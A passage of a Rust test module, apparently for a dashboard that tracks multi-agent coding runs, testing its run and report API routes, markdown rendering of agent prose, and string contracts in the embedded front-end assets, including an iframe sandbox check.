14886            store.put(&mut q).unwrap();
14887        }
14888    }
14889
14890    #[tokio::test]
14891    async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
14892        let f = Fixture::start().await;
14893        let id = "20260922-090200-abcd";
14894        write_run(&f.runs(), id, RunStatus::Judging);
14895        let mut state = read_run(&f.runs(), id).unwrap();
14896        state.parked = true;
14897        state.driver_exited = true;
14898        state.event("park", "stopped at a node boundary");
14899        state.save_under(f.home.path()).unwrap();
14900
14901        for expected in ["parked", "stale"] {
14902            let list = f.get("/api/runs").await.json();
14903            let detail = f.get(&format!("/api/runs/{id}")).await.json();
14904            assert_eq!(list[0]["live"], "dead");
14905            assert_eq!(list[0]["display_status"], expected);
14906            assert_eq!(detail["display_status"], expected);
14907            // Model a driver claim followed by a crash before the next event:
14908            // the persisted flag changes, but the last event is still park.
14909            state.parked = false;
14910            state.save_under(f.home.path()).unwrap();
14911        }
14912    }
14913
14914    #[tokio::test]
14915    async fn the_run_list_is_newest_first_and_honours_a_limit() {
14916        let f = Fixture::start().await;
14917        for id in [
14918            "20260902-140501-aaaa",
14919            "20260902-140502-bbbb",
14920            "20260902-140503-cccc",
14921        ] {
14922            write_run(&f.runs(), id, RunStatus::Merged);
14923        }
14924
14925        let all = f.get("/api/runs").await.json();
14926        let capped = f.get("/api/runs?limit=2").await.json();
14927
14928        assert_eq!(all[0]["id"], "20260902-140503-cccc");
14929        assert_eq!(all.as_array().map(Vec::len), Some(3));
14930        assert_eq!(capped.as_array().map(Vec::len), Some(2));
14931        assert_eq!(capped[0]["id"], "20260902-140503-cccc");
14932    }
14933
14934    #[tokio::test]
14935    async fn the_report_route_serves_the_terminal_report_as_plain_text() {
14936        let f = Fixture::start().await;
14937        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
14938
14939        let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
14940
14941        assert_eq!(res.status, 200);
14942        assert!(
14943            res.headers
14944                .contains("content-type: text/plain; charset=utf-8"),
14945            "a browser must render it, not download it: {}",
14946            res.headers
14947        );
14948        // The assertion is on content, not on the absence of escapes: colour
14949        // is a process-global that `serve` turns off at startup, and another
14950        // test in this binary may own it while this one runs.
14951        assert!(
14952            res.body.contains("20260902-140501-a1b2"),
14953            "the report is about the run that was asked for: {}",
14954            res.body
14955        );
14956    }
14957
14958    #[tokio::test]
14959    async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
14960        // The view names the run's state directory, which reads the process-global home.
14961        crate::run::pin_test_home();
14962        let f = Fixture::start().await;
14963        let id = "20260902-140501-a1b2";
14964        write_run(&f.runs(), id, RunStatus::Stalled);
14965        // A stalled panel and one review round, written through the real
14966        // state file so the route reads what a run really leaves behind.
14967        let path = f.runs().join(id).join("run.json");
14968        let mut v: serde_json::Value =
14969            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
14970        v["tally"] = serde_json::json!({
14971            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
14972            "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
14973            "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
14974            "met_quorum": false, "rankings": 1
14975        });
14976        v["reviews"] = serde_json::json!([{
14977            "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
14978            "e2e_deferred": true,
14979            "reviews": [{"reviewer": 1, "agent": "a", "findings": [
14980                {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
14981            ]}]
14982        }]);
14983        std::fs::write(&path, v.to_string()).unwrap();
14984        write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
14985        std::fs::write(
14986            f.runs().join("20260902-140502-dead").join("run.json"),
14987            "{not json",
14988        )
14989        .unwrap();
14990
14991        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
14992
14993        assert_eq!(res.status, 200, "{}", res.body);
14994        assert!(res.headers.contains("content-type: application/json"));
14995        let j = res.json();
14996        assert_eq!(j["schema"], 1);
14997        assert_eq!(j["header"]["id"], id);
14998        assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
14999        let kinds: Vec<&str> = j["sections"]
15000            .as_array()
15001            .unwrap()
15002            .iter()
15003            .map(|s| s["kind"].as_str().unwrap())
15004            .collect();
15005        assert_eq!(kinds, ["candidates", "tally", "review"]);
15006        let tally = &j["sections"][1]["tally"];
15007        assert_eq!(
15008            (tally["decided"].clone(), tally["provisional"].clone()),
15009            (false.into(), true.into())
15010        );
15011        let round = &j["sections"][2]["rounds"][0];
15012        assert_eq!(round["e2e"]["state"], "deferred");
15013        assert_eq!(round["findings"][0]["severity"], "major");
15014        assert_eq!(round["findings"][0]["blocking"], true);
15015        assert_eq!(round["findings"][0]["state"], "open");
15016
15017        // The raw route keeps working beside it.
15018        assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
15019
15020        // An unreadable run is an error, as on the text route, and is counted.
15021        let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
15022        assert_ne!(bad.status, 200, "{}", bad.body);
15023        assert_eq!(
15024            bad.status,
15025            f.get("/api/runs/20260902-140502-dead/report").await.status
15026        );
15027        assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
15028        assert_eq!(
15029            f.get("/api/runs/20260902-999999-ffff/report.json")
15030                .await
15031                .status,
15032            404
15033        );
15034    }
15035
15036    #[tokio::test]
15037    async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
15038        crate::run::pin_test_home();
15039        let f = Fixture::start().await;
15040        let id = "20260902-140503-delib";
15041        write_run(&f.runs(), id, RunStatus::Merged);
15042        let path = f.runs().join(id).join("run.json");
15043        let mut v: serde_json::Value =
15044            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
15045        v["judgements"] = serde_json::json!([
15046            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
15047        ]);
15048        v["tally"] = serde_json::json!({
15049            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
15050            "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
15051            "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
15052            "met_quorum": true, "rankings": 1
15053        });
15054        v["deliberation"] = serde_json::json!([
15055            {
15056                "round": 1,
15057                "turns": [
15058                    {
15059                        "judge": 1,
15060                        "agent": "judge-1",
15061                        "body": "I prefer candidate **A** because it has cleaner tests.",
15062                        "tentative": "A"
15063                    }
15064                ]
15065            },
15066            {
15067                "round": 2,
15068                "turns": [
15069                    {
15070                        "judge": 1,
15071                        "agent": "judge-1",
15072                        "body": "Still thinking, no choice yet.",
15073                        "tentative": null
15074                    }
15075                ]
15076            }
15077        ]);
15078        std::fs::write(&path, v.to_string()).unwrap();
15079
15080        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
15081        assert_eq!(res.status, 200, "{}", res.body);
15082        let j = res.json();
15083        let judging = j["sections"]
15084            .as_array()
15085            .unwrap()
15086            .iter()
15087            .find(|s| s["kind"] == "judging")
15088            .expect("judging section exists");
15089
15090        // Existing summary lines remain intact
15091        let delib_lines = judging["deliberation"].as_array().unwrap();
15092        assert_eq!(delib_lines.len(), 2);
15093        assert_eq!(delib_lines[0], "r1 judge 1 -> A");
15094        assert_eq!(delib_lines[1], "r2 judge 1 -> -");
15095
15096        // rounds carry turn bodies, tentative and parsed body_md
15097        let rounds = judging["rounds"].as_array().unwrap();
15098        assert_eq!(rounds.len(), 2);
15099        let r1_t0 = &rounds[0]["turns"][0];
15100        assert_eq!(r1_t0["judge"], 1);
15101        assert_eq!(r1_t0["agent"], "judge-1");
15102        assert_eq!(r1_t0["tentative"], "A");
15103        assert_eq!(
15104            r1_t0["body"],
15105            "I prefer candidate **A** because it has cleaner tests."
15106        );
15107        assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
15108
15109        let r2_t0 = &rounds[1]["turns"][0];
15110        assert_eq!(r2_t0["judge"], 1);
15111        assert_eq!(r2_t0["agent"], "judge-1");
15112        assert!(r2_t0["tentative"].is_null());
15113        assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
15114        assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
15115
15116        // A run with empty deliberation array yields empty rounds
15117        let id_empty = "20260902-140504-nodelib";
15118        write_run(&f.runs(), id_empty, RunStatus::Merged);
15119        let path_empty = f.runs().join(id_empty).join("run.json");
15120        let mut v_empty: serde_json::Value =
15121            serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
15122        v_empty["judgements"] = serde_json::json!([
15123            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
15124        ]);
15125        v_empty["deliberation"] = serde_json::json!([]);
15126        std::fs::write(&path_empty, v_empty.to_string()).unwrap();
15127
15128        let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
15129        assert_eq!(res_empty.status, 200, "{}", res_empty.body);
15130        let j_empty = res_empty.json();
15131        let judging_empty = j_empty["sections"]
15132            .as_array()
15133            .unwrap()
15134            .iter()
15135            .find(|s| s["kind"] == "judging")
15136            .expect("judging section exists");
15137        assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
15138    }
15139
15140    #[tokio::test]
15141    async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
15142        let f = Fixture::start().await;
15143
15144        let html = f.get("/").await;
15145        let css = f.get("/app.css").await;
15146        let js = f.get("/app.js").await;
15147
15148        assert_eq!((html.status, css.status, js.status), (200, 200, 200));
15149        assert!(
15150            html.headers
15151                .contains("content-type: text/html; charset=utf-8")
15152        );
15153        assert!(css.headers.contains("content-type: text/css"));
15154        assert!(js.headers.contains("content-type: text/javascript"));
15155        assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
15156    }
15157
15158    #[test]
15159    fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
15160        let body = |name: &str| {
15161            let at = APP_JS
15162                .find(name)
15163                .unwrap_or_else(|| panic!("{name} missing"));
15164            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
15165        };
15166        assert!(body("function roundRail").contains("if (round <= 0) return null;"));
15167        let note = body("function landRoundNote");
15168        assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
15169        assert!(note.contains("Land round ${round}"));
15170        let land = body("function renderLand");
15171        let note_at = land
15172            .find("landRoundNote(pr)")
15173            .expect("renderLand uses the note");
15174        assert!(
15175            note_at
15176                < land
15177                    .find("roundRail(pr)")
15178                    .expect("renderLand uses the rail")
15179        );
15180    }
15181
15182    #[test]
15183    fn the_runs_page_redesign_keeps_its_guards() {
15184        let body = |name: &str| {
15185            let at = APP_JS
15186                .find(name)
15187                .unwrap_or_else(|| panic!("{name} missing"));
15188            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
15189        };
15190        // A null child must never reach the native append (it prints "null").
15191        let land = body("function renderLand");
15192        let land = &land[..land.find("function followupList").unwrap_or(land.len())];
15193        assert!(
15194            !land.contains("box.append("),
15195            "renderLand must use append()"
15196        );
15197        assert!(land.contains("append(box, ["));
15198        // Tabs are hash routes; the run id alone decides a reload.
15199        assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
15200        assert!(
15201            body("function applyRoute")
15202                .contains("route.name !== state.route.name || route.id !== state.route.id")
15203        );
15204        // The decorative diagram is gone, the strip and its guards stay.
15205        assert!(!APP_JS.contains("adviseConvergeDiagram"));
15206        assert!(!INDEX_HTML.contains("advise-converge"));
15207        assert!(INDEX_HTML.contains("id=\"advise-strip\""));
15208        assert!(APP_JS.contains("provisional"));
15209        for id in [
15210            "run-tab-overview",
15211            "run-tab-timeline",
15212            "run-tab-report",
15213            "run-report",
15214            "runs-scope",
15215        ] {
15216            assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
15217        }
15218        assert!(!INDEX_HTML.contains("runs-tree"));
15219        assert!(!INDEX_HTML.contains("run-raw-panel"));
15220        // Fold still says it cannot be resumed.
15221        assert!(APP_JS.contains("resume"));
15222        // The unreadable-runs count stays on the page.
15223        assert!(APP_JS.contains("unreadable"));
15224    }
15225
15226    #[test]
15227    fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
15228        assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
15229        assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
15230        assert!(APP_JS.contains("setText(\n      $(\"stats-unreadable-text\")"));
15231        assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
15232        assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
15233        // The subtitle still counts them whatever the banner does.
15234        assert!(APP_JS.contains("unreadable` : null"));
15235    }
15236
15237    #[test]
15238    fn blocked_run_detail_exposes_the_failed_gate_reason() {
15239        let mut state = RunState::new(
15240            "/repo".into(),
15241            "main".into(),
15242            "abc".into(),
15243            "task".into(),
15244            crate::config::Config::default(),
15245        );
15246        state.status = RunStatus::Blocked;
15247        state.gate_ran = true;
15248        state.gate.push(crate::run::CommandOutcome {
15249            command: "cargo make check".into(),
15250            code: Some(1),
15251            output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
15252            duration_ms: 0,
15253            resource_blocked: false,
15254        });
15255        let view = RunDetailView::of(
15256            state,
15257            false,
15258            crate::run::Liveness::Unknown,
15259            None,
15260            None,
15261            None,
15262        );
15263        let value = serde_json::to_value(view).unwrap();
15264        assert_eq!(
15265            value["stop_reason"],
15266            "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
15267        );
15268    }
15269
15270    #[test]
15271    fn the_run_detail_payload_says_whether_the_run_is_done() {
15272        // `landView` reads `run.done`; the detail response must carry it.
15273        for (status, done) in [
15274            (RunStatus::Superseded, true),
15275            (RunStatus::Blocked, true),
15276            (RunStatus::Landing, false),
15277        ] {
15278            let mut state = RunState::new(
15279                std::path::PathBuf::from("/repo"),
15280                "main".to_owned(),
15281                "abc".to_owned(),
15282                "x".to_owned(),
15283                crate::config::Config::default(),
15284            );
15285            state.status = status;
15286            let v = serde_json::to_value(RunDetailView::of(
15287                state,
15288                false,
15289                crate::run::Liveness::Unknown,
15290                None,
15291                None,
15292                None,
15293            ))
15294            .unwrap();
15295            assert_eq!(v["done"], done, "{status:?}");
15296        }
15297    }
15298
15299    /// The first node of a markdown block holds a `strong` somewhere.
15300    fn has_strong(nodes: &[md::Node]) -> bool {
15301        serde_json::to_string(nodes).unwrap().contains("strong")
15302    }
15303
15304    #[test]
15305    fn the_run_detail_payload_carries_markdown_for_agent_prose() {
15306        let mut state = RunState::new(
15307            std::path::PathBuf::from("/repo"),
15308            "main".to_owned(),
15309            "abc".to_owned(),
15310            "x".to_owned(),
15311            crate::config::Config::default(),
15312        );
15313        let proposal = |approach: &str| {
15314            serde_json::json!({
15315                "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
15316            })
15317        };
15318        state.advice = Some(
15319            serde_json::from_value(serde_json::json!({
15320                "records": [
15321                    {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
15322                     "proposal": proposal("do **this**")},
15323                    {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
15324                ],
15325                "synthesis": "- one\n- **two**\n\n`code`",
15326            }))
15327            .unwrap(),
15328        );
15329        state.candidates = serde_json::from_value(serde_json::json!([
15330            {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
15331             "summary": "did **it**"},
15332            {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
15333        ]))
15334        .unwrap();
15335        // Recorded in ascending severity, the reverse of how the page sorts
15336        // them: the arrays must follow the record, not the display.
15337        state.reviews = serde_json::from_value(serde_json::json!([{
15338            "round": 1, "head": "h",
15339            "reviews": [{
15340                "reviewer": 1, "agent": "a", "summary": "sum **mary**",
15341                "findings": [
15342                    {"severity": "nit", "title": "t1", "detail": "plain nit"},
15343                    {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
15344                ],
15345            }],
15346            "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
15347            "fix": {"agent": "a", "notes": "fixed **it**",
15348                    "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
15349        }, {"round": 2, "head": "h2", "reviews": []}]))
15350        .unwrap();
15351
15352        let v = serde_json::to_value(RunDetailView::of(
15353            state,
15354            false,
15355            crate::run::Liveness::Unknown,
15356            None,
15357            None,
15358            None,
15359        ))
15360        .unwrap();
15361
15362        let strong = |p: &str| {
15363            let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
15364            assert!(n.to_string().contains("strong"), "{p}: {n}");
15365        };
15366        strong("/advice_md/synthesis");
15367        assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
15368        assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
15369        strong("/advice_md/approaches/0");
15370        assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
15371        strong("/candidate_summaries_md/0");
15372        assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
15373        strong("/reviews_md/0/reviewers/0/summary");
15374        let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
15375        assert!(!f[0].to_string().contains("strong"), "recorded order kept");
15376        assert!(f[1].to_string().contains("strong"));
15377        strong("/reviews_md/0/reconsideration/0");
15378        strong("/reviews_md/0/fix/notes");
15379        strong("/reviews_md/0/fix/rejected/0");
15380        assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
15381        assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
15382        // The raw strings stay, and no schema moved.
15383        assert_eq!(v["candidates"][0]["summary"], "did **it**");
15384        assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
15385    }
15386
15387    #[test]
15388    fn a_run_without_advice_has_no_advice_md() {
15389        let state = RunState::new(
15390            std::path::PathBuf::from("/repo"),
15391            "main".to_owned(),
15392            "abc".to_owned(),
15393            "x".to_owned(),
15394            crate::config::Config::default(),
15395        );
15396        let p = run_prose_md(&state);
15397        assert!(p.advice_md.is_none());
15398        assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
15399    }
15400
15401    #[test]
15402    fn a_question_view_carries_markdown_for_each_thread_turn() {
15403        let home = TempDir::new().unwrap();
15404        let store = ask::Questions::at(home.path().join("questions"));
15405        let mut q = Question::new(
15406            "run".to_owned(),
15407            "implement".to_owned(),
15408            "impl-A".to_owned(),
15409            "which?".to_owned(),
15410            String::new(),
15411            Vec::new(),
15412        );
15413        q.say("plain words").unwrap();
15414        q.reply("use **this**", Vec::new()).unwrap();
15415        let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
15416        let bodies = &v["thread_bodies_md"];
15417        assert_eq!(bodies.as_array().unwrap().len(), 2);
15418        assert!(!bodies[0].to_string().contains("strong"));
15419        assert!(bodies[1].to_string().contains("strong"));
15420    }
15421
15422    #[test]
15423    fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
15424        let home = TempDir::new().unwrap();
15425        let store = ask::Questions::at(home.path().join("questions"));
15426        let mut q = Question::new(
15427            "run".to_owned(),
15428            "conduct".to_owned(),
15429            "conduct".to_owned(),
15430            "which?".to_owned(),
15431            String::new(),
15432            Vec::new(),
15433        );
15434        q.say("plain words").unwrap();
15435        q.thread.push(ask::Turn {
15436            who: ask::Who::Agent,
15437            body: "Settled as `merge`".to_owned(),
15438            at: jiff::Timestamp::now(),
15439            note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
15440        });
15441        let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
15442        let notes = &v["thread_notes_md"];
15443        assert_eq!(notes.as_array().unwrap().len(), 2);
15444        assert!(notes[0].is_null());
15445        let text = notes[1].to_string();
15446        assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
15447        assert!(APP_JS.contains("ask-turn-note"));
15448    }
15449
15450    #[test]
15451    fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
15452        // The land panel defers to `run.status` for merged, and labels a
15453        // recorded-open PR on any finished run (superseded, blocked, ...) as
15454        // last seen, never as live state.
15455        assert!(APP_JS.contains("function landView(run, raw) {"));
15456        assert!(
15457            APP_JS.contains(
15458                "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
15459            )
15460        );
15461        assert!(APP_JS.contains("const pr = landView(run, raw);"));
15462        assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
15463        assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
15464        assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
15465    }
15466
15467    #[test]
15468    fn live_runs_are_never_hidden_or_folded_as_superseded() {
15469        assert!(APP_JS.contains("function isLiveAttempt(run) {\n  return !run.done;"));
15470        assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
15471        assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
15472        assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
15473    }
15474
15475    #[test]
15476    fn review_rounds_label_a_distinct_verified_head() {
15477        assert!(APP_JS.contains("round.verified_head"));
15478        assert!(APP_JS.contains("verified HEAD"));
15479        assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
15480    }
15481
15482    #[test]
15483    fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
15484        // A blocked task's chip and note must not fall back to a queued-like
15485        // rendering - review 1623 R2-2-1's finding, fixed for the chip table
15486        // itself by e11fc58 but never checked here.
15487        assert!(APP_JS.contains("blocked: { glyph:"));
15488        assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
15489
15490        // `blocked_by` mixes task ids and question ids in the same list, and
15491        // the client can only tell them apart by checking each id against
15492        // what it actually knows - never by guessing from the id's shape.
15493        assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
15494        assert!(
15495            APP_JS.contains(
15496                "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
15497            ),
15498            "the note line must name what a blocked task is waiting on, not just that it is blocked"
15499        );
15500        // The classification must key off `status_str`, never off `blocked_by`
15501        // or `block_reason` merely being present - both can survive briefly
15502        // on a task a hold or a dead daemon just moved off `blocked`.
15503        assert!(APP_JS.contains("if (status === \"blocked\") {"));
15504
15505        // A question a task is blocked on gets its own node in the same
15506        // dependency graph, not just a task-shaped node with nothing known
15507        // about it.
15508        assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
15509        assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
15510        assert!(
15511            APP_JS.contains("location.hash = \"#/questions\";"),
15512            "a question node must jump to the Questions screen, not pretend to be a task"
15513        );
15514
15515        // `Task::answers` - decisions already made - are shown as a record on
15516        // the card, the same disclosure style as the full instruction.
15517        assert!(APP_JS.contains("Resolved questions"));
15518        assert!(APP_JS.contains("r.answersList.append("));
15519        assert!(APP_CSS.contains(".task-answers"));
15520        {
15521            let start = APP_JS
15522                .find("function updateTalkTaskRow")
15523                .expect("updateTalkTaskRow");
15524            let body = &APP_JS[start..];
15525            let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
15526            assert!(
15527                body.contains(
15528                    "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
15529                ),
15530                "a chat-filed task row must link to the task page"
15531            );
15532            assert!(
15533                !body.contains("#/runs/") && !body.contains("#/queue/"),
15534                "the row must not branch to a run or the queue card"
15535            );
15536            assert!(APP_CSS.contains(".talk-task-link"));
15537        }
15538    }
15539
15540    #[test]
15541    fn a_task_notification_links_to_the_task_page() {
15542        // A task notice opens the task detail page, not the Backlog card.
15543        let start = APP_JS
15544            .find("function noticeLink(")
15545            .expect("noticeLink exists");
15546        let body = &APP_JS[start..];
15547        let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
15548        assert!(
15549            body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
15550            "a task notice's link must target the task page"
15551        );
15552        assert!(
15553            !body.contains("#/queue/"),
15554            "regression: the task link must not go back to the Backlog route"
15555        );
15556        assert!(
15557            APP_JS.contains(
15558                "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
15559            ),
15560            "`#/tasks/<id>` must parse into the task route"
15561        );
15562
15563        // `#/queue/<id>` (card permalinks, old bookmarks) keeps working.
15564        assert!(
15565            APP_JS.contains(
15566                "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
15567            ),
15568            "`#/queue/<id>` must parse into a route carrying that id"
15569        );
15570
15571        // And the Backlog view has to actually land on the card once it can
15572        // - see consumeQueueFocus(), which renderQueue() calls on every pass
15573        // so a focus set before the queue has loaded is retried once it has.
15574        assert!(APP_JS.contains("state.queueFocus = route.id;"));
15575        assert!(APP_JS.contains("function consumeQueueFocus()"));
15576        assert!(APP_JS.contains("jumpToTask(id)"));
15577    }
15578
15579    /// Chat rows are two lines at every width: the title alone, then the
15580    /// shrinkable secondary info.
15581    #[test]
15582    fn chat_rows_put_the_title_alone_on_the_first_line() {
15583        assert!(APP_CSS.contains("#talks-list .card-title {\n  grid-row: 1; grid-column: 1 / -1;"));
15584        assert!(APP_CSS.contains(
15585            "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
15586        ));
15587        assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
15588        assert!(APP_JS.contains("class: \"badge talk-unread\""));
15589    }
15590
15591    #[test]
15592    fn run_rows_put_the_title_alone_on_the_first_line() {
15593        assert!(
15594            APP_CSS.contains(
15595                ".cards .card.run-card .card-title {\n  grid-row: 1; grid-column: 1 / -1;"
15596            )
15597        );
15598        assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
15599        assert!(APP_JS.contains("class: \"card run-card\""));
15600        assert!(APP_JS.contains("class: \"repo run-id\""));
15601    }
15602
15603    /// Wide screens get a master/detail layout built from the views a phone
15604    /// drills into. These are string assertions: they pin the contract between
15605    /// the three assets, not how it looks.
15606    #[test]
15607    fn wide_screens_show_list_and_preview_side_by_side() {
15608        // One breakpoint, spelled the same in the script and the stylesheet.
15609        assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
15610        assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
15611        assert!(APP_CSS.contains("main[data-split]"));
15612        assert!(APP_CSS.contains("body[data-split]"));
15613
15614        // The route -> panes table, and a narrow screen opting out of it.
15615        assert!(APP_JS.contains("function splitPanes(route, wide) {\n  if (!wide) return null;"));
15616        assert!(
15617            APP_JS.contains(
15618                "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
15619            )
15620        );
15621        assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
15622        assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
15623        assert!(INDEX_HTML.contains("id=\"split-empty\""));
15624
15625        // Selection is derived from the route, and only ever paints a row.
15626        assert!(APP_JS.contains("function markSelected() {"));
15627        assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
15628        assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
15629        // The dense row must override the stacked card the 720px block sets up.
15630        assert!(
15631            APP_CSS.contains(
15632                "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
15633            )
15634        );
15635
15636        // Independent scrolling: the page stops scrolling, each pane does.
15637        assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
15638        assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
15639        assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
15640        assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
15641
15642        // A refresh must never navigate: the loaders still check that their
15643        // subject is the one on screen, and crossing the breakpoint only
15644        // re-reads the hash.
15645        assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
15646        assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
15647        assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
15648        assert!(APP_JS.contains("const relayout = () => applyRoute();"));
15649
15650        // The panel sandbox carries exactly allow-popups and allow-popups-to-escape-sandbox.
15651        assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
15652    }
15653
15654    #[test]
15655    fn panel_sandbox_carries_exactly_popups() {
15656        let needle = "sandbox: \"";
15657        let matches: Vec<_> = APP_JS.match_indices(needle).collect();
15658        assert_eq!(
15659            matches.len(),
15660            1,
15661            "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
15662        );
15663        let start = matches[0].0 + needle.len();
15664        let end = APP_JS[start..]
15665            .find('"')
15666            .expect("sandbox attribute value must be terminated by a closing quote");
15667        let val = &APP_JS[start..start + end];
15668        let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
15669        let expected: std::collections::BTreeSet<&str> =
15670            ["allow-popups", "allow-popups-to-escape-sandbox"]
15671                .into_iter()
15672                .collect();
15673        assert_eq!(tokens, expected, "sandbox tokens must match exactly");
15674        assert!(
15675            !tokens.contains("allow-scripts"),
15676            "allow-scripts must never be present in sandbox"
15677        );
15678        assert!(
15679            !tokens.contains("allow-same-origin"),
15680            "allow-same-origin must never be present in sandbox"
15681        );
15682    }
15683
15684    #[test]
15685    fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
